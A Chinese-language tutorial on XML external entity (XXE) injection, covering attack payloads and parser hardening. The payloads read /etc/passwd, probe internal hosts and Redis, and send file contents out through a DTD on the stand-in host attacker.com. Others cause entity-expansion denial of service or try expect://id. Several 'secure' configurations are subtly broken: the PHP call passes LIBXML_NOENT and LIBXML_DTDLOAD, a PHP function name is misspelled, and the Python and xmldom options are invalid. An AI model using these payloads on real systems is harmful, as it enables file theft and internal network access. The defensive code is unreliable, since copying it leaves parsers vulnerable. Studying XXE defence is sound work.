017_Web安全实战指南：XML外部实体注入(XXE)漏洞原理、攻击技术与全面防御策略

XXE漏洞危害等级评估
  ├── 严重
  │   ├── 敏感文件读取
  │   ├── 内网探测
  │   ├── 拒绝服务攻击
  │   └── 远程代码执行
  ├── 高
  │   ├── 服务器信息泄露
  │   ├── 绕过防火墙
  │   └── 命令执行（在特定环境中）
  └── 中
      ├── 信息收集
      ├── 拒绝服务
      └── 会话劫持辅助

<?xml version="1.0" encoding="UTF-8"?>
<root>
  <element attribute="value">内容</element>
  <element>
    <subelement>子内容</subelement>
  </element>
</root>

<!DOCTYPE root [
  <!ENTITY greeting "Hello, World!">
]>
<root>
  <message>&greeting;</message>
</root>

<!DOCTYPE root [
  <!ENTITY external SYSTEM "file:///path/to/file.txt">
]>
<root>
  <message>&external;</message>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ELEMENT root (message+)>
  <!ELEMENT message (#PCDATA)>
  <!ENTITY greeting "Hello, World!">
]>
<root>
  <message>&greeting;</message>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://example.com/dtds/root.dtd">
<root>
  <message>&greeting;</message>
</root>

攻击者构造包含恶意外部实体的XML输入
  ↓
发送XML输入到目标应用程序
  ↓
应用程序的XML解析器解析XML输入
  ↓
XML解析器解析外部实体引用，加载外部资源
  ↓
外部资源的内容被包含在解析结果中
  ↓
应用程序处理解析结果并可能返回外部资源内容给攻击者

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>
  <message>&file;</message>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY internal SYSTEM "http://192.168.0.100/">
]>
<root>
  <message>&internal;</message>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/exfil.dtd">
  %dtd;
  %send;
]>
<root>
  <message>test</message>
</root>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://example.com/very-large-file.xml">
]>
<root>
  <message>&xxe;</message>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY a "1">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
  <!-- 继续扩展实体 -->
]>
<root>
  <message>&d;</message>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY internal SYSTEM "http://127.0.0.1:6379/info">
]>
<root>
  <message>&internal;</message>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>
  <message>&file;</message>
</root>

<!-- 尝试不同的协议 -->
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY file SYSTEM "http://127.0.0.1/">
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY file SYSTEM "expect://id">

<!-- 使用UTF-8编码 -->
<!ENTITY file SYSTEM "file:///etc/%70%61%73%73%77%64">

识别应用程序中接受XML输入的功能点
  ↓
尝试发送一个简单的XXE负载，如读取/etc/passwd文件
  ↓
观察应用程序的响应，检查是否有XXE漏洞的迹象
  ↓
如果没有直接响应，尝试使用带外XXE技术
  ↓
根据测试结果，确定是否存在XXE漏洞以及漏洞的严重程度

// Java中的XXE漏洞模式
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new InputSource(new StringReader(xmlInput)));

// Python中的XXE漏洞模式
import xml.etree.ElementTree as ET
tree = ET.parse(xml_input)
root = tree.getroot()

// PHP中的XXE漏洞模式
$dom = new DOMDocument();
$dom->loadXML($xml_input);

// Node.js中的XXE漏洞模式
const libxmljs = require("libxmljs");
const xmlDoc = libxmljs.parseXml(xml_input);

// 安全配置DocumentBuilderFactory
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

// 安全配置SAXParserFactory
SAXParserFactory saxFactory = SAXParserFactory.newInstance();
saxFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// 安全配置TransformerFactory
TransformerFactory transformerFactory = TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

# 使用defusedxml代替标准库
from defusedxml import ElementTree

# 安全解析XML
tree = ElementTree.parse(xml_input)
root = tree.getroot()

# 如果必须使用标准库，至少禁用外部实体
import xml.etree.ElementTree as ET
from io import StringIO

parser = ET.XMLParser(resolve_entities=False)
tree = ET.parse(StringIO(xml_input), parser)
root = tree.getroot()

// 安全配置DOMDocument
$dom = new DOMDocument();
$dom->substituteEntities = false;
$dom->resolveExternals = false;
$dom->loadXML($xml_input, LIBXML_NONET | LIBXML_NOENT | LIBXML_DTDLOAD);

// 安全配置SimpleXML
slibxml_disable_entity_loader(true);
$xml = simplexml_load_string($xml_input);

// 使用libxmljs的安全配置
const libxmljs = require("libxmljs");
const xmlDoc = libxmljs.parseXml(xml_input, {
  noent: false,      // 禁用实体替换
  dtdload: false,    // 禁用外部DTD加载
  dtdvalid: false,   // 禁用DTD验证
  nonet: true,       // 禁用网络访问
  recover: true      // 允许恢复解析错误
});

// 使用xmldom的安全配置
const { DOMParser } = require("xmldom");
const parser = new DOMParser({
  xmlns: {
    allowNonamespaces: false
  },
  errorHandler: {
    warning: () => {},
    error: () => {},
    fatalError: () => {}
  }
});

parser.configure({
  entityResolver: () => null,  // 不解析外部实体
  extdbg: false               // 禁用调试
});

const doc = parser.parseFromString(xml_input);

// 使用XML Schema验证XML
SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(new File("schema.xsd"));
Validator validator = schema.newValidator();
validator.validate(new StreamSource(new StringReader(xmlInput)));

// 过滤危险关键字
if (xmlInput.contains("DOCTYPE") || xmlInput.contains("ENTITY")) {
    throw new SecurityException("Potentially malicious XML detected");
}

XXE漏洞防御多层次策略
  ├── XML解析器安全配置
  │   ├── 禁用外部实体
  │   ├── 禁用DOCTYPE声明
  │   ├── 限制XML功能
  │   └── 使用安全的XML处理库
  ├── 输入验证与过滤
  │   ├── 验证XML结构
  │   ├── 使用XML Schema
  │   ├── 过滤危险关键字
  │   └── 限制输入大小
  ├── 使用替代技术
  │   ├── 使用JSON替代XML
  │   ├── 使用REST API替代SOAP
  │   ├── 使用数据绑定技术
  │   └── 使用安全的XML处理框架
  └── 网络层防御与监控
      ├── 配置防火墙规则
      ├── 实施网络隔离
      ├── 监控异常网络流量
      └── 记录XML解析错误